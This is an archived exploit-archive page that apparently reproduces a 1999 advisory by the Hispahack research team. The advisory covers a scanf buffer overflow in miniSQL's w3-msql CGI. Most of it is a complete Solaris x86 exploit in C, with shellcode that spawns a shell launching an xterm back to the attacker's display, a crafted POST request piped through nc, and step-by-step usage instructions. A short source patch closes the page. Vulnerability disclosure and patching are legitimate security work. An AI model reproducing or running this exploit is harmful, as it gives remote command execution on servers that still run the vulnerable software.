exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

mi021.htm

mi021.htm
Posted Dec 27, 1999
Authored by Zhodiac | Site hispahack.ccc.de

w3-msql (miniSQL 2.0.4.1 - 2.0.11) Solaris x86 remote exploit. Distribution of miniSQL packet (http://hughes.com.au) comes with a cgi (w3-msql) that can be xploited to run arbitrary code under httpd uid.

tags | exploit, remote, web, arbitrary, x86, cgi
systems | solaris
SHA-256 | e538616d4a13d2a4606a6853e879530a658b5ddefbf3256ac599a2700782b79d

mi021.htm

Change Mirror Download
<!DOCTYPE HTML PUBLIC "html.dtd">
<HTML>
<!doctype html public "-//w3c//dtd html 4.0 transitional//en">
<HTML>
<HEAD>
<META CONTENT="text/html; charset=iso-8859-1" HTTP-EQUIV="Content-Type">
<META NAME="GENERATOR" CONTENT="Mozilla/4.5 [es] (Win95; I) [Netscape]">
<TITLE>mi021</TITLE>
</HEAD>
<BODY BGCOLOR="#000000" VLINK="#66FFFF" TEXT="#33CCFF" LINK="#66FFFF" ALINK="#FFFFFF">
&nbsp;
<TABLE WIDTH="90%" COLS="2" CELLSPACING="0" BORDER="0" CELLPADDING="0">
<TR>
<TD WIDTH="10%"></TD>

<TD WIDTH="90%">
<CENTER><B><I><U><FONT SIZE="+1">!Hispahack Research Team</FONT></U></I></B></CENTER>

<P>&nbsp;<B>Program:</B> w3-msql (miniSQL 2.0.4.1 - 2.0.11)
<BR>&nbsp;<B>Platform:</B> *nix
<BR>&nbsp;<B>Risk:</B> Remote access&nbsp;
<BR>&nbsp;<B>Author:</B> <B><I>Zhodiac <zhodiac@softhome.net></I></B>
<BR>&nbsp;<B>Date:</B> 24/12/1999
<BR>&nbsp;
<P>&nbsp;<B><U>- Problem:</U></B>
<P>&nbsp;&nbsp;&nbsp; Distribution of miniSQL packet (<I><A HREF="http://hughes.com.au/">http://hughes.com.au</A></I>)
comes with a cgi (w3-msql) that can be xploited to run arbitrary code under
httpd uid.
<P>&nbsp;&nbsp;&nbsp; It has some overflows, the xploited one was due of
the misuse of the&nbsp; scanf() function.
<P>&nbsp;&nbsp;&nbsp; We notify the programer/s about the porblem one month
ago, without&nbsp; having any reply yet.&nbsp;
<P><B>&nbsp;<U>- Exploit:</U></B>
<P>&nbsp;&nbsp;&nbsp;&nbsp; For proof of vulnerability we release the Solaris
x86 xploit. But be aware, no public xploit for your system does not mean
you can't be hacked. Vulnerability exists, fix it!&nbsp;
<P>------- w3-msql-xploit.c ----------
<P>/*
<BR>&nbsp;* !Hispahack Research Team
<BR>&nbsp;* http://hispahack.ccc.de
<BR>&nbsp;*
<BR>&nbsp;* Xploit for /cgi-bin/w3-msql (msql 2.0.4.1 - 2.0.11)
<BR>&nbsp;*
<BR>&nbsp;* Platform: Solaris x86
<BR>&nbsp;*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
Feel free to port it to other arquitectures, if you can...
<BR>&nbsp;*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
If so mail me plz.
<BR>&nbsp;*
<BR>&nbsp;* By: Zhodiac <zhodiac@softhome.net>
<BR>&nbsp;*
<BR>&nbsp;* Steps: 1) gcc -o w3-msql-xploit w3-msql-xploit.c
<BR>&nbsp;*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 2) xhost +<target_ip>
<BR>&nbsp;*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 3) ./w3-msql-xploit
<target> <display> | nc <target> <http_port>
<BR>&nbsp;*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 4) Take a cup of
cofee, some kind of drug or wathever
<BR>&nbsp;*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
estimulates you at hacking time... while the xterm is comming
<BR>&nbsp;*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
or while you are getting raided.
<BR>&nbsp;*&nbsp;
<BR>&nbsp;* #include <standard/disclaimer.h>
<BR>&nbsp;*&nbsp;
<BR>&nbsp;* Madrid, 28/10/99
<BR>&nbsp;*&nbsp;
<BR>&nbsp;* Spain r0x
<BR>&nbsp;*&nbsp;
<BR>&nbsp;*/
<P>#include <stdio.h>
<BR>#include <string.h>&nbsp;
<BR>#include <stdlib.h>
<P>/******************/
<BR>/* Customize this */
<BR>/******************/
<BR>//#define LEN_VAR&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 50&nbsp;&nbsp;&nbsp;&nbsp;
/* mSQL 2.0.4 - 2.0.10.1 */
<BR>#define LEN_VAR&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 128&nbsp;&nbsp;&nbsp;
/* mSQL 2.0.11 */
<P>// Solaris x86
<BR>#define ADDR 0x8045f8
<P>// Shellcode Solaris x86
<BR>char shellcode[]= /* By Zhodiac <zhodiac@softhome.net> */
<BR>&nbsp;"\x8b\x74\x24\xfc\xb8\x2e\x61\x68\x6d\x05\x01\x01\x01\x01\x39\x06"
<BR>&nbsp;"\x74\x03\x46\xeb\xf9\x33\xc0\x89\x46\xea\x88\x46\xef\x89\x46\xfc"
<BR>&nbsp;"\x88\x46\x07\x46\x46\x88\x46\x08\x4e\x4e\x88\x46\xff\xb0\x1f\xfe"
<BR>&nbsp;"\xc0\x88\x46\x21\x88\x46\x2a\x33\xc0\x89\x76\xf0\x8d\x5e\x08\x89"
<BR>&nbsp;"\x5e\xf4\x83\xc3\x03\x89\x5e\xf8\x50\x8d\x5e\xf0\x53\x56\x56\xb0"
<BR>&nbsp;"\x3b\x9a\xaa\xaa\xaa\xaa\x07\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa"
<BR>&nbsp;"\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa"
<BR>&nbsp;"/bin/shA-cA/usr/openwin/bin/xtermA-displayA";
<P>#define ADDR_TIMES&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 12
<BR>#define BUFSIZE LEN_VAR+15*1024+LEN_VAR+ADDR_TIMES*4-16
<BR>#define NOP&nbsp;&nbsp;&nbsp;&nbsp; 0x90
<P>int main (int argc, char *argv[]) {
<P>char *buf, *ptr;
<BR>long addr=ADDR;
<BR>int aux;
<P>&nbsp;if (argc<3){
<BR>&nbsp;&nbsp; printf("Usage: %s target display | nc target 80 \n",argv[0]);
<BR>&nbsp;&nbsp; exit(-1);
<BR>&nbsp;&nbsp; }
<P>&nbsp;if ((buf=malloc(BUFSIZE))==NULL) {
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; perror("malloc()");
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; exit(-1);
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }&nbsp;
<P>&nbsp;shellcode[44]=(char)strlen(argv[2])+43;
<P>&nbsp;ptr=(char *)buf;
<BR>&nbsp;memset(ptr,NOP,BUFSIZE-strlen(argv[2])-strlen(shellcode)-ADDR_TIMES*4);
<BR>&nbsp;ptr+=BUFSIZE-strlen(shellcode)-strlen(argv[2])-ADDR_TIMES*4;
<BR>&nbsp;memcpy(ptr,shellcode,strlen(shellcode));
<BR>&nbsp;ptr+=strlen(shellcode);&nbsp;
<BR>&nbsp;memcpy(ptr,argv[2],strlen(argv[2]));
<BR>&nbsp;ptr+=strlen(argv[2]);
<P>&nbsp;for (aux=0;aux<ADDR_TIMES;aux++) {
<BR>&nbsp;&nbsp; ptr[0] = (addr & 0x000000ff);
<BR>&nbsp;&nbsp; ptr[1] = (addr & 0x0000ff00) >> 8;
<BR>&nbsp;&nbsp; ptr[2] = (addr & 0x00ff0000) >> 16;
<BR>&nbsp;&nbsp; ptr[3] = (addr & 0xff000000) >> 24;
<BR>&nbsp;&nbsp; ptr+=4;
<BR>&nbsp;&nbsp; }
<P>&nbsp;printf("POST /cgi-bin/w3-msql/index.html HTTP/1.0\n");
<BR>&nbsp;printf("Connection: Keep-Alive\n");
<BR>&nbsp;printf("User-Agent: Mozilla/4.60 [en] (X11; I; Linux 2.0.38 i686\n");
<BR>&nbsp;printf("Host: %s\n",argv[1]);&nbsp;
<BR>&nbsp;printf("Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg\n");
<BR>&nbsp;printf("Accept-Encoding: gzip\n");&nbsp;
<BR>&nbsp;printf("Accept-Language: en\n");
<BR>&nbsp;printf("Accept-Charset: iso-8859-1,*,utf-8\n");
<BR>&nbsp;printf("Content-type: multipart/form-data\n");
<BR>&nbsp;printf("Content-length: %i\n\n",BUFSIZE);
<P>&nbsp;printf("%s \n\n\n",buf);
<P>&nbsp;free(buf);
<P>}
<P>------- w3-msql-xploit.c ---------
<BR>&nbsp;
<P>&nbsp;<B><U>- Fix:</U></B>
<BR>&nbsp;
<P>&nbsp;&nbsp; Best solution is to wait for a new patched version, meanwhile
here you have a patch that will stop this attack and some other (be aware
that this patch was done after a total revision of the code, maybe there
are some other overflows).
<P>------ w3-msql.patch ---------
<P>410c410
<BR><&nbsp;&nbsp;&nbsp;&nbsp; scanf("%s ", boundary);
<BR>---
<BR>>&nbsp;&nbsp;&nbsp;&nbsp; scanf("%128s ", boundary);
<BR>418c418
<BR><&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; strcat(var, buffer);
<BR>---
<BR>>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; strncat(var, buffer,sizeof(buffer));
<BR>428c428
<BR><&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; scanf("
Content-Type: %s ", buffer);
<BR>---
<BR>>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; scanf("
Content-Type: %15360s ", buffer);
<P>------ w3-msql.patch ---------
<P>&nbsp;piscis:~# patch w3-msql.c w3-msql.patch&nbsp;
<BR>&nbsp;piscis:~#&nbsp;
<P>&nbsp;Spain r0x
<P>&nbsp;Greetz :)
<P>&nbsp;<B><I>Zhodiac</I></B>
<BR>&nbsp;
<BR>&nbsp;
<BR>&nbsp;
<TABLE WIDTH="100%" COLS="1" CELLSPACING="0" BORDER="0" CELLPADDING="0">
<TR>
<TD></TD>
</TR>
</TABLE>
</TD>
</TR>
</TABLE>

<CENTER>
<P><FONT SIZE="-1">&nbsp;(C) 1997-2001 by !Hispahack</FONT>
<BR><FONT SIZE="-1">Para ver el web en las mejores condiciones, usa una resoluci&oacute;n
de 800x600 y Netscape Navigator</FONT></CENTER>

</BODY>
</HTML>
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close